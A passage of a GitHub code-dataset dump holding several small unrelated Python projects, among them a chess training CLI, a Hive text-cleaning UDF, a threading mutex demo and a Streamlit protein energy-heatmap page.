result['fail_comments_with_reply'] = fail_comments_with_reply\n #неотве��енные комментарии представителей\n result['org_comments'] = org_comments\n #все комментарии экспертов\n result['org_all_comments'] = org_all_comments\n #статистика активных (оставивших хоть один комментарий) организаций\n #лист словарей: [{'org': org1, 'comments_count': 1}, ...]\n result['active_organization_stats'] = active_organization_stats\n #статистика ответов по экспертам\n result['active_iifd_person_stats'] = active_iifd_person_stats\n #комментарии экспертов\n result['iifd_all_comments'] = iifd_all_comments\n #всего огранизаций\n result['total_org'] = total_org\n #зарегистрированных организаций\n result['reg_org'] = reg_org\n #дата начала взаимодействия\n result['start_date'] = start_date\n #дата окончания отчетного периода\n result['end_date'] = end_date\n #срок ответа на комментарии (в днях)\n result['time_to_answer'] = time_to_answer\n\n return result\n","repo_name":"bsavelev/exmo2010","sub_path":"exmo/custom_comments/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74995054161","text":"from models.game_state import GameState, States\nfrom models.pieces import PIECE_ABBREVIATIONS\n\n\ndef print_help():\n print(\n \"The following commands are available:\\n\"\n \"\\t - start : Resets the board and starts a new game\\n\"\n \"\\t - print : Print the board and the current piece positions\\n\"\n \"\\t - help : Show the list of all available commands\\n\"\n \"\\t - quit : Exit the game\\n\"\n )\n\ndef print_new_question(square):\n print(f\"\\nWhich piece can go to: {square.notation}\")\n\n\ngame_state = GameState()\nnew_square = None\ncorrect_piece = None\nprint(\"\\n\\n::Welcome to VISU::\\n\\n Type `help` to see the list of available commands.\\n\")\nwhile True:\n user_input = input(\">>> \")\n\n if \"help\" in user_input:\n print_help()\n\n elif \"quit\" in user_input:\n break\n\n elif \"start\" in user_input:\n game_state.setup_pre_game()\n print(f\"---> START <---\")\n game_state.print_piece_info()\n\n new_square = game_state.generate_new_square()\n correct_piece = game_state.board.get_piece_that_reaches_square(new_square)\n print_new_question(new_square)\n continue\n\n elif \"print\" in user_input:\n if game_state.current_state == States.PLAY:\n print(game_state.board)\n else:\n print(\"Nothing to display. Start a new game or type quit to exit.\")\n continue\n\n\n if game_state.current_state == States.PLAY:\n if len(user_input) != 1:\n print(f\"Bad input. Expected one of {PIECE_ABBREVIATIONS}\")\n continue\n\n user_input = user_input.upper()\n if user_input not in PIECE_ABBREVIATIONS:\n print(f\"Bad input. Expected one of {PIECE_ABBREVIATIONS}\")\n continue\n\n if user_input == correct_piece.abbreviation:\n print(f\"---> Correct! <---\")\n game_state.update_game(correct_piece, new_square)\n new_square = game_state.generate_new_square()\n correct_piece = game_state.board.get_piece_that_reaches_square(new_square)\n\n print_new_question(new_square) \n else:\n print(f\"---> Game Over! <---\")\n print(f\"The correct piece was: {correct_piece.abbreviation}\\n\")\n game_state.current_state = States.GAME_OVER\n","repo_name":"AngelVI13/visu","sub_path":"src/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69903561361","text":"from distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\n\nsourcefiles = [\"rir_generator.c\", \"rirgenerator.pyx\"]\next_modules = [Extension(\"rirgenerator\", sourcefiles,libraries=['m'])]\n\nsetup(\n\tname = 'RIRGenerator',\n\tcmdclass = {'build_ext': build_ext},\n\text_modules = ext_modules\n)\n","repo_name":"srikanthrajch/py-RIR-Generator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"3"} +{"seq_id":"40621367768","text":"import logging\n\nfrom PyQt5.QtWidgets import QMessageBox, QTextEdit\n\nclass FileListMsgBox:\n def create_msg_box(self, item_name):\n logging.debug(\"create_msg_box(): Instantiated\")\n msg = QMessageBox()\n msg.setWindowTitle(\"List File Information\")\n msg.setMaximumHeight(500)\n msg.setIcon(QMessageBox.Information)\n msg.setText(\"The file to be imported: \\n\" + item_name)\n msg.setInformativeText(\"Click on Show Details to see what is contained inside the file.\")\n\n self.get_file_info(msg, item_name)\n\n retval = msg.exec_()\n logging.debug(\"create_msg_box(): Complete\")\n\n def get_file_info(self, msg, file):\n logging.debug(\"get_file_info(): Instantiated\")\n f_buff = open(file, \"r\")\n msg.setDetailedText(f_buff.read())\n f_buff.close()\n logging.debug(\"get_file_info(): Complete\")","repo_name":"seb1gonzalez/abs","sub_path":"src/GUI/MessageBoxs/FileListMsgBox.py","file_name":"FileListMsgBox.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32326228224","text":"import sys\nsys.stdin = open('input.txt')\n\nN = int(input())\narr = [list(input()) for _ in range(N)]\n\nfor i in range(N):\n for j in range(N):\n if arr[i][j] == 'R':\n arr[i][j] = 1\n elif arr[i][j] == 'G':\n arr[i][j] = 2\n else:\n arr[i][j] = -1\nvisited = [[0]*N for _ in range(N)]\n\n\n\ndef red_dfs(x,y):\n dx = [1, 0, -1, 0]\n dy = [0, 1, 0, -1]\n visited[x][y] = 1\n for k in range(4):\n nx = x + dx[k] % 4\n ny = y + dy[k] % 4\n\n if arr[nx][ny] == 1:\n if visited[nx][ny] != 1:\n red_dfs(nx,ny)\n#ddd\ndef green_dfs(x,y):\n dx = [1, 0, -1, 0]\n dy = [0, 1, 0, -1]\n visited[x][y] = 1\n for k in range(4):\n nx = x + dx[k] % 4\n ny = y + dy[k] % 4\n\n if arr[nx][ny] == 1:\n if visited[nx][ny] != 1:\n red_dfs(nx,ny)\n\n\n\n\n\nprint(arr)","repo_name":"estar1996/TIL","sub_path":"algo/백준/10026 적록색약/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36380160605","text":"from github.lab3.lab_python_fp.gen_random import gen_random\n\n\nclass Unique:\n \"\"\"Итератор, оставляющий только уникальные значения.\"\"\"\n def __init__(self, items, **kwargs):\n self.used_elements = set()\n self.items = items\n self.index = 0\n self.ignore_case = [kwargs[key] for key in kwargs] if len(kwargs) > 0 and kwargs['ignore_case'] is True \\\n else False\n\n def __iter__(self):\n return self\n\n def __next__(self):\n while True:\n if self.index >= len(self.items):\n raise StopIteration\n else:\n #if self.ignore_case:\n #self.items = list(map(lambda _: str(_).lower(), self.items))\n if self.ignore_case:\n current = str(self.items[self.index]).lower()\n else:\n current = self.items[self.index]\n self.index += 1\n if current not in self.used_elements:\n # Добавление в множество производится\n # с помощью метода add\n self.used_elements.add(current)\n return current\n\n\nif __name__ == '__main__':\n print('Task 1')\n data = [1, 1, 1, 1, 1, 2, 2, 2, 2, 2]\n for item in Unique(data):\n print(item, end=' ')\n\n print('\\nTask 2')\n data = gen_random(5, 3, 10)\n print(*data, sep=', ')\n for item in Unique(data):\n print(item, end=' ')\n\n print('\\nTask 3')\n data = ['a', 'A', 'b', 'B', 'a', 'A', 'b', 'B']\n for item in Unique(data):\n print(item, end=' ')\n\n print('\\nTask 4')\n for item in Unique(data, ignore_case=True):\n print(item, end=' ')\n","repo_name":"ElSugar/dev-internet-apps","sub_path":"lab3/lab_python_fp/unique.py","file_name":"unique.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3693731026","text":"import re\nimport string\nimport sys\n\nCLEANR = re.compile(\"<.*?>\")\n\nfor line in sys.stdin:\n text = re.sub(CLEANR, \" \", line)\n text = text.replace(\".\", \" \")\n text = text.translate(str.maketrans(\"\", \"\", string.punctuation))\n text = re.sub(\" +\", \" \", text)\n text = text.strip()\n print(text.lower())\n","repo_name":"not-Karot/amz_review_analysis","sub_path":"src/jobs/job1/Hive/udf.py","file_name":"udf.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8598744284","text":"import webapp2\n\nimport praw\nimport pyquery\n\nimport imp\nimport os.path\nimport inspect\n\n#from google.appengine.tools.devappserver2.python import sandbox\n#sandbox._WHITE_LIST_C_MODULES += ['_ssl', '_socket']\n#real_os_src_path = os.path.realpath(inspect.getsourcefile(os))\n#psocket = os.path.join(os.path.dirname(real_os_src_path), 'socket.py')\n#imp.load_source('socket', psocket)\n\nclass MainPage(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.write('Hello, World!')\n\nclass Test(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.write('test')\n\n r = praw.Reddit(user_agent='my cool app')\n submissions = r.get_subreddit('opensource').get_hot(limit=5)\n self.response.write('\\n'.join([str(x) for x in submissions]))\n\napp = webapp2.WSGIApplication([\n ('/', MainPage),\n ('/test', Test)\n], debug=True)\n\n","repo_name":"zeteref/helloworld","sub_path":"helloworld.py","file_name":"helloworld.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36609254450","text":"#Aluno: Vinícius de Oliveira Moreira | Matrícula:497533 - Corrida de carros utilizando mutex.\nimport threading, time, random #Importando as bibliotecas\n \nmutex = threading.Lock()\nclass Thread1(threading.Thread): #Criando uma classe chamada Thread1\n\tdef run(self):\n\t\tglobal mutex #Definindo mutex global\n\t\tprint (\"O primeiro carro está parado.\")\n\t\ttime.sleep(random.randint(1, 5))\n\t\tprint(\"O primeiro carro terminou a viagem.\")\n\t\tmutex.release() #Altera o estado para desbloqueado \n \nclass Thread2(threading.Thread): #Criando uma classe chamada Thread2\n\tdef run(self):\n\t\tglobal mutex #Definindo mutex global\n\t\tprint (\"O segundo carro está parado.\")\n\t\ttime.sleep(random.randint(1, 5))\n\t\tmutex.acquire() #Altera o estado para bloqueado\n\t\tprint(\"O segundo carro terminou a viagem.\")\n \nmutex.acquire()\nt1 = Thread1()\nt2 = Thread2()\nt1.start() #Iniciando a thread 1\nt2.start() #Iniciando a thread 2","repo_name":"viniciusmoreira04/corrida_carros_mutex","sub_path":"corridacarrosmutex.py","file_name":"corridacarrosmutex.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70209874961","text":"\"\"\"\nCreated on Fri May 26 12:00:17 2017\n@author: Ian\n\"\"\"\n\nf = open('/reg/g/psdm/data/ExpNameDb/experiment-db.dat', 'r')\na = f.read()\nf.close()\n\ncTemplate = open(\"cTemplate.txt\",\"r\")\nnewCFile = cTemplate.read()\ncTemplate.close()\n\n\ng = open('template.py')\napple = g.read()\ng.close()\n\n\nf = open(\"/reg/g/psdm/data/ExpNameDb/experiment-db.dat\", \"r\")\ndataLines = f.readlines()\nnewlineRemoved = []\nfor line in dataLines:\n new = line.replace('\\n','') \n new = new.replace('\\r','')\n newlineRemoved.append(new)\n art = line.rstrip(' ') + ' '\n a = a.replace(line,art)\nf.close()\n\ncFormattedData = \"\"\n\nfor line in newlineRemoved:\n cFormattedData = cFormattedData + line + \"\\\\n\"\n\n\ndataLength = str(len(cFormattedData))\n\nnewCFile = newCFile.replace('DATASIZE',dataLength)\n\n\n\nnewCFile = newCFile.replace('STRING',cFormattedData)\n\ncFile = open(\"updatedCFile.c\",\"w\")\n\ncFile.write(newCFile)\n\ncFile.close()\n\npear = apple.replace('STRING', a)\n\nh = open('ExpNameData.py', 'w')\nh.write(pear)\nh.close()\n\n","repo_name":"lcls-psana/psana-expdb","sub_path":"dataPress.py","file_name":"dataPress.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42633132760","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport colorcet as cc\nfrom typing import Dict\n\nfrom lib.visualization import WebViewer\nimport json\nfrom typing import List\nfrom Bio.PDB.PDBParser import PDBParser\nimport plotly.express as px\nimport plotly.graph_objs as go\nfrom streamlit_plotly_events import plotly_events\n# Import yaml\nimport yaml\n# Import SafeLoader\nfrom yaml import SafeLoader\nfrom typing import Dict\nfrom typing import Set\nfrom stmol import makeobj, showmol, render_pdb_resi, add_model, add_hover\nimport py3Dmol\n\nfrom utility import load_text, add_logo\n\nadd_logo(\"images/draft_logo_200.png\")\nSTATE: dict\n\nROWS = [\n 'fa_atr', 'fa_rep', 'fa_sol', 'fa_intra_rep', 'fa_intra_sol_xover4',\n 'lk_ball_wtd', 'fa_elec', 'pro_close', 'hbond_sr_bb', 'hbond_lr_bb',\n 'hbond_bb_sc', 'hbond_sc', 'dslf_fa13', 'omega', 'fa_dun', 'p_aa_pp',\n 'yhh_planarity', 'ref', 'rama_prepro', 'total'\n]\n\nwith open('lib/aa_map.json', 'r') as my_file:\n aa_map = json.load(my_file)\n\n## TODO Move this to a stmol_mod module\n\ndef add_hover_res(obj,backgroundColor='white',fontColor='black'):\n \"\"\"\n Adds a hover function to the Py3DMOL object to show the atom name when the mouse hovers over an atom.\n Example:\n obj = render_pdb()\n add_hover(obj)\n showmol(obj)\n Parameters\n ----------\n obj: Py3DMOL object\n Already existing Py3DMOL object, which can be created using the makeobj function.\n backgroundColor: String, default 'white'\n Is the background color of the hover text\n fontColor: String, default 'black'\n Is the color of the text\n Returns\n -------\n None.\n \"\"\"\n\n js_script = \"\"\"function(atom,viewer) {\n if(!atom.label) {\n atom.label = viewer.addLabel('Res # '+atom.resi,{position: atom, backgroundColor:\"%s\" , fontColor:\"%s\"});\n }\n }\"\"\"%(backgroundColor,fontColor)\n obj.setHoverable({},True,js_script,\n \"\"\"function(atom,viewer) {\n if(atom.label) {\n viewer.removeLabel(atom.label);\n delete atom.label;\n }\n }\"\"\"\n )\n\ndef show_cartoon_test(obj, color: str) -> None:\n \"\"\"\n Show the entire structure as a cartoon\n :param file_name:\n A portion of the file name, such as \"wild\" or \"variant\", if the\n full name is \"pdb_wild_clean\" or \"pdb_variant_clean\"\n :param color:\n The color of the cartoon\n :return:\n None\n \"\"\"\n obj.setStyle(\n {\n 'model': 0\n },\n {\n 'cartoon': {\n 'color': color\n }\n }\n )\n\ndef color_cartoon_scale(obj, resi: int, color: str) -> None:\n \"\"\"\n Set a particular location of the cartoon to a specific color\n :param file_name:\n A portion of the file name, such as \"wild\" or \"variant\", if the\n full name is \"pdb_wild_clean\" or \"pdb_variant_clean\"\n :param resi:\n The residue location to be colored\n :param color:\n The desired color\n :return:\n None\n \"\"\"\n obj.setStyle(\n {\n 'model': 0,\n 'resi': resi\n },\n {\n 'cartoon': {\n 'color': color\n }\n }\n )\n\n\n\n@st.cache\ndef read_js(version: int) -> str:\n \"\"\"\n Read JS Code from file\n :param version:\n The serial number of the code file\n :return:\n The contents of the file\n \"\"\"\n with open(f'js/energy_heatmap_{version}.js', 'r') as file:\n return file.read()\n\n\ndef check_files() -> bool:\n \"\"\"\n Check to see if necessary files are in session state\n :return:\n \"\"\"\n constraints = [\n 'energy_wild' in st.session_state['File Upload'].keys(),\n 'energy_variant' in st.session_state['File Upload'].keys(),\n 'mutations' in st.session_state['File Upload'].keys()\n ]\n return all(constraints)\n\n\ndef cool_stuff(\n data: pd.DataFrame,\n column_1: str,\n column_2: str,\n value: str\n) -> pd.DataFrame:\n \"\"\"\n Experiment with pd.melt\n :param data:\n :param column_1:\n :param column_2:\n :param value:\n :return:\n \"\"\"\n pivot = pd.pivot_table(data, value, column_1, column_2, np.sum)\n pivot.fillna(value=0, inplace=True)\n pivot.reset_index(level=0, inplace=True)\n return pivot.melt(id_vars=column_1, var_name=column_2, value_name=value)\n\n\ndef fill_holes() -> Dict[str, pd.DataFrame]:\n \"\"\"\n Ensure that the wild-type and variant interaction energy dataframes\n are of the same length. Important for JS Code when syncing selections\n :return:\n \"\"\"\n wild = st.session_state['File Upload']['energy_wild']\n variant = st.session_state['File Upload']['energy_variant']\n cw = pd.DataFrame(wild[ROWS + ['resi1', 'resi2']], copy=True)\n cv = pd.DataFrame(variant[ROWS + ['resi1', 'resi2']], copy=True)\n pairs_w = cw[['resi1', 'resi2']].values.tolist()\n pairs_v = cv[['resi1', 'resi2']].values.tolist()\n\n new_values = []\n for resi1, resi2 in [x for x in pairs_v if x not in pairs_w]:\n row = {'resi1': resi1, 'resi2': resi2}\n row.update({x: 0 for x in ROWS})\n new_values.append(row)\n cw = pd.concat([cw, pd.DataFrame(new_values)])\n\n new_values = []\n for resi1, resi2 in [x for x in pairs_w if x not in pairs_v]:\n row = {'resi1': resi1, 'resi2': resi2}\n row.update({x: 0 for x in ROWS})\n new_values.append(row)\n cv = pd.concat([cv, pd.DataFrame(new_values)])\n\n cw.sort_values(by=['resi1', 'resi2'], inplace=True)\n cv.sort_values(by=['resi1', 'resi2'], inplace=True)\n cw.reset_index(inplace=True, drop=True)\n cv.reset_index(inplace=True, drop=True)\n return {'wild': cw, 'variant': cv}\n\n\ndef create_heatmap(\n file_name: str,\n data: pd.DataFrame,\n extrema: int = 5\n) -> dict:\n \"\"\"\n Create the Bokeh Components\n :param file_name:\n The partial file name\n :param data:\n The residue energy breakdown dataframe\n :param extrema:\n The extrema to use for the color bar, which is centered at 0\n :return:\n \"\"\"\n # Setup Bokeh Plot\n reset = ResetTool()\n wheel_zoom = WheelZoomTool()\n pan_tool = PanTool()\n tap_tool = TapTool()\n poly = BoxSelectTool()\n save = SaveTool()\n tool_tips = [\n ('Resi1', '@x'),\n ('Resi2', '@y'),\n ('Total Energy', '@total{0.000}')\n ]\n plot = figure(\n tools=[reset, wheel_zoom, pan_tool, tap_tool, poly, save],\n tooltips=tool_tips\n )\n plot.title = f'Interaction Energy Pairs for {file_name.capitalize()}'\n plot.xaxis.axis_label = 'Position 1'\n plot.yaxis.axis_label = 'Position 2'\n plot.title.align = 'center'\n plot.title.text_font_size = '25px'\n\n # Create Data Source\n source_data = {\n 'x': data['resi1'].values.tolist(),\n 'y': data['resi2'].values.tolist()\n }\n source_data.update({x: data[x].values.tolist() for x in ROWS})\n\n source = ColumnDataSource(data=source_data)\n\n # Create Heatmap\n mapper = LinearColorMapper(\n palette=cc.b_linear_bmy_10_95_c78,\n low=-extrema,\n high=extrema\n )\n plot.rect(\n source=source,\n width=1,\n height=1,\n fill_color=transform('total', mapper),\n line_color=None\n )\n\n # Final Plot Configuration\n color_bar = ColorBar(color_mapper=mapper)\n plot.add_layout(color_bar, 'right')\n plot.toolbar.active_scroll = wheel_zoom\n return {\n 'plot': plot,\n 'source': source\n }\n\n\ndef plot_side() -> None:\n \"\"\"\n Creates side by side heatmaps with linked axes for wild-type and variant\n :return:\n \"\"\"\n # Create Heatmaps\n df = fill_holes()\n wild = create_heatmap('wild', df['wild'])\n variant = create_heatmap('variant', df['variant'])\n wild['plot'].width = 575\n variant['plot'].width = 575\n\n # Link Pan and Scroll\n wild['plot'].x_range = variant['plot'].x_range\n wild['plot'].y_range = variant['plot'].y_range\n\n # Bokeh Table\n source_table = ColumnDataSource(\n data=dict(\n energy=ROWS,\n wild=[0] * len(ROWS),\n variant=[0] * len(ROWS)\n )\n )\n table = DataTable(\n source=source_table,\n columns=[\n TableColumn(field='energy', title='Energy Term'),\n TableColumn(field='wild', title='Wild-Type'),\n TableColumn(field='variant', title='Variant'),\n ],\n index_position=None,\n width=250,\n height=535\n )\n\n # JS Code Linking Selections\n wild['source'].selected.js_on_change(\n 'indices',\n CustomJS(\n args=dict(\n source=wild['source'],\n other=variant['source']\n ),\n code=read_js(1)\n )\n )\n variant['source'].selected.js_on_change(\n 'indices',\n CustomJS(\n args=dict(\n source=variant['source'],\n other=wild['source']\n ),\n code=read_js(1)\n )\n )\n\n # JS Code Linking Selection to Table\n wild['source'].selected.js_on_change(\n 'indices',\n CustomJS(\n args=dict(\n wild=wild['source'],\n variant=variant['source'],\n rows=ROWS,\n table=source_table\n ),\n code=read_js(2)\n )\n )\n\n # Show Bokeh Chart\n st.bokeh_chart(\n gridplot([\n [wild['plot'], variant['plot'], table],\n ])\n )\n\n# A function to create the the dataset for the difference heatmap\ndef difference_dataset() -> list:\n \"\"\"\n Create the dataset for the difference heatmap\n :return:\n \"\"\"\n # Create Data and Heatmaps\n df = fill_holes()\n data = df['variant'] - df['wild']\n data['resi1'] = df['wild']['resi1']\n data['resi2'] = df['variant']['resi2']\n\n source_data = {\n 'x': data['resi1'].values.tolist(),\n 'y': data['resi2'].values.tolist()\n }\n source_data.update({x: data[x].values.tolist() for x in ROWS})\n # Create a dataframe from the source data\n dataframe = pd.DataFrame(source_data)\n\n minima = data['total'].min()\n maxima = data['total'].max()\n sequence_length = len(fasta('pdb_wild_clean'))\n # Currently source_data is a dictionary with keys 'x', 'y', 'total', 'vdw', 'elec', 'hbond', 'desolv', 'hba', 'hbd', 'ss', 'polar', 'apolar'\n # moreover the lists only contain the non zero values of the matrix, so we need to create a matrix with the right dimensions and fill it with the values\n # the matrix should be of size sequence_length x sequence_length\n # the values should be in the right position, so we need to iterate over the 'x' and 'y' and fill with the corresponding value in the 'total' list\n # we also need to fill the diagonal with 0\n matrix_list = []\n for i in range(sequence_length):\n matrix_list.append([0] * sequence_length)\n for i in range(len(source_data['x'])):\n matrix_list[source_data['x'][i] - 1][source_data['y'][i] - 1] = source_data['total'][i]\n # Replace the 0 with None\n for i in range(sequence_length):\n for j in range(sequence_length):\n if matrix_list[i][j] == 0:\n matrix_list[i][j] = None\n\n\n return matrix_list, minima, maxima, dataframe\n\n\n\ndef select_mode() -> str:\n \"\"\"\n User selection of heatmap display mode\n :return:\n \"\"\"\n if 'mode' not in STATE.keys():\n STATE['mode'] = 0\n radio = st.radio(\n label='Select Mode',\n options=['Difference', 'Side-by-Side'],\n horizontal=True\n )\n return radio\n\n\ndef resi_energy_map(\n wild: pd.DataFrame,\n variant: pd.DataFrame,\n colormap: list[str],\n min_value: float,\n max_value: float\n) -> Dict[int, str]:\n \"\"\"\n Create a colormap for the residues of the 3D structure based on their\n change in interaction energy from wild-type to variant\n :param wild:\n :param variant:\n :param colormap:\n :param min_value:\n :param max_value:\n :return:\n \"\"\"\n\n resi_max = max(\n wild['resi1'].values.tolist() + wild['resi2'].values.tolist()\n ) # resi_max is the maximum residue number in the wild type\n\n energy: dict[int, float] = {}\n for i in range(1, resi_max + 1): # iterate over all residues\n energy_wild = wild[\n (wild['resi1'] == i) | (wild['resi2'] == i)\n ]['total'].sum() # sum the interaction energy of all interactions involving residue i in the wild type\n energy_variant = variant[\n (variant['resi1'] == i) | (variant['resi2'] == i)\n ]['total'].sum() # sum the interaction energy of all interactions involving residue i in the variant\n energy[i] = energy_variant - energy_wild # calculate the difference in interaction energy\n results = {}\n for key, value in energy.items():\n if value < min_value:\n results[key] = colormap[0]\n elif value > max_value:\n results[key] = colormap[-1]\n else:\n index = (value - min_value) / (max_value - min_value)\n results[key] = colormap[round(index * len(colormap))]\n return results\n\n\ndef fasta(file_name: str) -> List[str]:\n \"\"\"\n Generate the FASTA sequence of a PDB File\n :param file_name:\n The name of the PDB file as stored in streamlit session state\n :return:\n The FASTA sequence as a list of strings\n \"\"\"\n parser = PDBParser()\n parser.QUIET = True\n pdb_file = st.session_state['File Upload'][file_name]\n structure = parser.get_structure(0, pdb_file)\n pdb_file.seek(0)\n return [aa_map[x.resname] for x in structure.get_residues()]\n\ndef view_difference() -> None:\n \"\"\"\n Create a 3D WebViewer to identify where energy changes occur in the\n conformation\n :return:\n \"\"\"\n st.header('3D Structure Heatmap')\n viewer = WebViewer()\n viewer.add_model('wild')\n viewer.show_cartoon('wild', '#858282')\n cartoon_color = resi_energy_map(\n st.session_state['File Upload']['energy_wild'],\n st.session_state['File Upload']['energy_variant'],\n cc.b_linear_bmy_10_95_c78,\n -4, 4\n )\n for resi, color in cartoon_color.items():\n viewer.color_cartoon(viewer, resi, color)\n viewer.set_background('#E2DFDF')\n viewer.show()\n\n### Interactive plotly functions ###\n\ndef initialize_state():\n \"\"\"Initializes all filters and counter in Streamlit Session State\n \"\"\"\n for q in [\"difference_heatmap\"]:\n if f\"{q}_query\" not in st.session_state:\n st.session_state[f\"{q}_query\"] = set()\n\n if \"counter\" not in st.session_state:\n st.session_state.counter = 0\n\n\ndef reset_state_callback():\n \"\"\"Resets all filters and increments counter in Streamlit Session State\n \"\"\"\n st.session_state.counter = 1 + st.session_state.counter\n\n for q in [\"difference_heatmap\"]:\n st.session_state[f\"{q}_query\"] = set()\n\n\ndef query_data(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Apply filters in Streamlit Session State\n to filter the input DataFrame\n \"\"\"\n\n\n for q in [\"difference_heatmap\"]:\n if st.session_state[f\"{q}_query\"]:\n df.loc[~df[q].isin(st.session_state[f\"{q}_query\"]), \"selected\"] = False\n\n return df\n\n\ndef build_difference_heatmap_figure(df: pd.DataFrame) -> go.Figure:\n # Print st.session_state keys create a list\n #print (list(st.session_state['Energy Heatmap']))\n #st.write(len(fasta('pdb_wild_clean')))\n\n \n\n import plotly.express as px\n\n # Create a list from\n fig = px.imshow(df, x=df.columns, y=df.index,\n labels=dict(x=\"Position 1\", y=\"Position 2\", color=\"[REU]\"),\n # Change the color scale invert the color scale\n color_continuous_scale=px.colors.sequential.Bluered,\n )\n fig.update_xaxes(side=\"top\")\n # Make the color legend vertical 90 degrees\n fig.update_layout(coloraxis_colorbar=dict(\n title=\"[REU]\",\n thicknessmode=\"pixels\", thickness=10,\n lenmode=\"pixels\", len=300,\n yanchor=\"top\", y=1,\n xanchor=\"left\", x=1.05\n ))\n\n \n # Make the x-axis legend bigger\n fig.update_xaxes(title_font_size=15)\n # Make the y-axis legend bigger\n fig.update_yaxes(title_font_size=15)\n # Make the x axis labels bigger\n fig.update_xaxes(tickfont_size=10)\n fig.update_yaxes(tickfont_size=10)\n # Set the ticks every 10 and rotate the labels\n fig.update_xaxes(tickangle=-45, tickmode='linear', tick0=0, dtick=20)\n fig.update_yaxes(tickangle=-45, tickmode='linear', tick0=0, dtick=20)\n # Make the color legend bigger\n fig.update_layout(coloraxis_colorbar=dict(title_font_size=8))\n # make the height of the figure bigger\n fig.update_layout(width=450, height=450)\n if st.session_state[\"difference_heatmap_query\"]:\n fig.add_annotation(\n x=st.session_state[\"difference_heatmap_query\"][0],\n y=st.session_state[\"difference_heatmap_query\"][1],\n xref=\"x\",\n yref=\"y\",\n text=f\"Selected Pair\",\n showarrow=True,\n font=dict(\n family=\"Courier New, monospace\",\n size=16,\n color=\"#ffffff\"\n ),\n align=\"center\",\n arrowhead=2,\n arrowsize=1,\n arrowwidth=2,\n arrowcolor=\"#636363\",\n ax=20,\n ay=-30,\n bordercolor=\"#c7c7c7\",\n borderwidth=2,\n borderpad=4,\n bgcolor=\"#ff7f0e\",\n opacity=0.8\n )\n return fig\n\n\ndef render_plotly_ui(transformed_df: pd.DataFrame) -> Dict:\n \"\"\"Renders all Plotly figures.\n Returns a Dict of filter to set of row identifiers to keep, built from the\n click/select events from Plotly figures.\n The return will be then stored into Streamlit Session State next.\n \"\"\"\n \n difference_heatmap_figure = build_difference_heatmap_figure(transformed_df)\n\n\n difference_heatmap_selected = plotly_events(\n difference_heatmap_figure,\n select_event=True,\n key=f\"difference_heatmap_{st.session_state.counter}\",\n )\n\n\n current_query = {}\n if difference_heatmap_selected:\n current_query[\"difference_heatmap_query\"] = difference_heatmap_selected[0]['x'], difference_heatmap_selected[0]['y']\n \n\n\n return current_query\n\n\ndef update_state(current_query: Dict[str, Set]):\n \"\"\"Stores input dict of filters into Streamlit Session State.\n If one of the input filters is different from previous value in Session State, \n rerun Streamlit to activate the filtering and plot updating with the new info in State.\n \"\"\"\n rerun = False\n for q in [\"difference_heatmap\"]:\n # If the current query is different from the previous one, update the state\n # If the current query contains elements\n if current_query.get(f\"{q}_query\"):\n if current_query[f\"{q}_query\"] != st.session_state[f\"{q}_query\"]:\n st.session_state[f\"{q}_query\"] = current_query[f\"{q}_query\"]\n rerun = True\n\n if rerun:\n st.experimental_rerun()\n\n\ndef main():\n \"\"\"\n Create the Energy Heatmap Main Page\n :return:\n \"\"\"\n global STATE\n STATE = st.session_state['Energy Heatmap']\n if check_files():\n \n # Create 3 columns\n col1, col2, col3 = st.columns(3)\n with col1:\n current_query = render_plotly_ui(df)\n update_state(current_query)\n st.button(\"Reset filters\", on_click=reset_state_callback)\n with col2:\n if st.session_state[\"difference_heatmap_query\"]:\n st.write(\"\")\n st.write(\"\")\n st.write(\"\")\n st.write(\"\")\n view_variant = makeobj(variant_structure,molformat='pdb',style='stick',background='white')\n view_variant.setStyle({\"cartoon\": {\"style\": \"oval\",\"color\": bb_color,\"thickness\": cartoon_radius}})\n view_variant.addSurface(py3Dmol.VDW, {\"opacity\": surf_transp, \"color\": bb_color},{\"hetflag\": False})\n cartoon_color = resi_energy_map(\n st.session_state['File Upload']['energy_wild'],\n st.session_state['File Upload']['energy_variant'],\n cc.b_linear_bmy_10_95_c78,\n -4, 4\n )\n for resi, color in cartoon_color.items():\n color_cartoon_scale(view_variant, resi, color)\n view_variant.addStyle({\"elem\": \"C\", \"hetflag\": True},\n {\"stick\": {\"color\": lig_color, \"radius\": stick_radius}})\n view_variant.addStyle({\"hetflag\": True},\n {\"stick\": {\"radius\": stick_radius}})\n\n if st.session_state[\"difference_heatmap_query\"]:\n hl_resi_list.append(st.session_state[\"difference_heatmap_query\"][0])\n hl_resi_list.append(st.session_state[\"difference_heatmap_query\"][1])\n\n for hl_resi in hl_resi_list:\n view_variant.addStyle({\"chain\": hl_model, \"resi\": hl_resi, \"elem\": \"C\"},\n {\"stick\": {\"color\": 